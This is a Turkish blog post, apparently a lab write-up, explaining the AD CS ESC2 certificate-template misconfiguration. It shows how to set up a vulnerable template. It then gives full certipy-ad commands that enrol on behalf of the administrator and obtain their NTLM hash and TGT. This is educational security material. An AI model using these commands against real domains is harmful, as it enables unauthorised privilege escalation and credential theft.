August 14, 2026
ADCS — ESC2 Zafiyeti
ESC2 Zafiyeti Nedir? Lab ortamı nasıl kurulur? Nasıl exploit edilir?

By Elif Bensu K.
3 min read
ADCS ortamında çok geniş olarak tanımlanmış EKU yapılandırmalarından kaynaklanan bir privilege escalation zafiyetidir.
Bir önceki yazımda değindiğim ESC1 zafiyetinden daha tehlikelidir.
ESC1 'deki gibi :
- Düşük yetkili kullanıcıların kendini "Enroll" etme yetkisi bulunur.
- Manager Approval yani yönetici onayı disable'dır.
- Authorized Signature Disable'dır. Yetkili imza gerektirmez.
Farklı olarak:
Kısıtlanmamış EKU: Template'in EKU yapılandırmasının sertifikanın her türlü amaç için kullanılabildiğini belirten "Any Purpose" EKU'suna sahip olması veya Template'de hiçbir EKU kısıtlamasının tanımlanmış olmaması (No EKU /Boş EKU olması)
Any Purpose EKU'sunun bulunması sayesinde Supply in the Request seçeneği aktif olmasa bile saldırgan kendi adına sertifika alıp sonra bu EKU'dan dolayı administrator adına sertifika talebinde bulunabilir çünkü yetkisi çok geniş kapsamlıdır.
Lab ortamının kuruluşu:
certtmpl.msccerttmpl.mscile Certificate Template'leri açalım.
Ardına Subject Name kısmında bu sefer bir değişiklik yapmıyorum Supply in the Request seçeneğini aktifleştirmeden devam ediyorum bu şekilde senaryoda saldırgan başkası adına sertifika talebinde bulunamayacak giriş yaptığı hesap neyse onun adına talep edebilecek
Extensions kısmına geliyorum ve Application Policies kısmında Any Purpose EKU'sunu ekliyorum
Security sekmesinde Domain User'lar için yine enrollment seçeneğini bir önceki senaryodaki gibi aktifleştiriyorum.
Ardına oluşturduğum Template'i publish ediyorum.
certsrv.msccertsrv.msc
Nasıl exploit edilir?
Ardına Kali makineme geçiyorum ve burada yine ESC1 senaryosunda olduğu gibi certipy-ad aracımı kullanıyorum. Bu araç ve alternatifini bir önceki yazımda anlatmıştım oradan inceleyebilirsiniz.
certipy-ad find -u 'jean.cristy@MYLAB.local' -p joseph -dc-ip 192.168.250.164 -vulnerable -enabledcertipy-ad find -u 'jean.cristy@MYLAB.local' -p joseph -dc-ip 192.168.250.164 -vulnerable -enabled
Certificate Template'ler kısmında oluşturduğum Example_ESC2 template'ini görüyorum ve Extended Key Usage'ları neler Certificate Authority ismi nedir gibi bilgileri edinmemin yanı sıra aynı zamanda Vulnerabilities kısmında ESC2 ve ESC3 olarak da gözüküyor.
certipy-ad req -u 'jean.cristy@MYLAB.local' -p 'joseph' -dc-ip 192.168.250.164 -ca MYLAB-CA -target 'win-nu7eop5ms7e.mylab.local' -template 'Example_ESC2'certipy-ad req -u 'jean.cristy@MYLAB.local' -p 'joseph' -dc-ip 192.168.250.164 -ca MYLAB-CA -target 'win-nu7eop5ms7e.mylab.local' -template 'Example_ESC2'
Şimdi kullanıcımız adına sertifika almamızın ardına bu aldığımız sertifika ile CA' ya gidip yani sertifika otoritesine gidip şöyle diyoruz. Bana User template'inden bir sertifika ver ama ben bunu Administrator adına istiyorum diyoruz. CA'de aldığımız sertifikanın içerisinde "Any Purpose" EKU'sunu gördüğü için geçerli bir Enrollment Agent olduğumuzu varsayarak bize onun adına sertifikayı verir.
User şablonu halihazırda olan bir şablondur ve bunu tercih etmemizin EKU olarak Client Authentication tanımlaması olmasıdır yani aldığımız sertifika ile o kişi adına authentication yapabiliriz o yüzden o template'den istiyoruz.
administrator adına alacağımızı belirtirken de -on-behalf-of komutunu kullanıyoruz.
ve administrator.pfx alıyoruz.
certipy-ad req -u 'jean.cristy@MYLAB.local' -p 'joseph' -dc-ip 192.168.250.164 -ca MYLAB-CA -target 'win-nu7eop5ms7e.mylab.local' -template 'User' -on-behalf-of administrator -pfx jean.cristy.pfxcertipy-ad req -u 'jean.cristy@MYLAB.local' -p 'joseph' -dc-ip 192.168.250.164 -ca MYLAB-CA -target 'win-nu7eop5ms7e.mylab.local' -template 'User' -on-behalf-of administrator -pfx jean.cristy.pfx
ve administrator olarak sistemde authenticate olup administrator kullanıcısının NTLM hashini ve TGT biletini alıyoruz.
Not : Bu yazıda paylaştıklarımın hepsi eğitim amaçlıdır. Yetkiniz olmadığı ortamlarda kullanmayınız.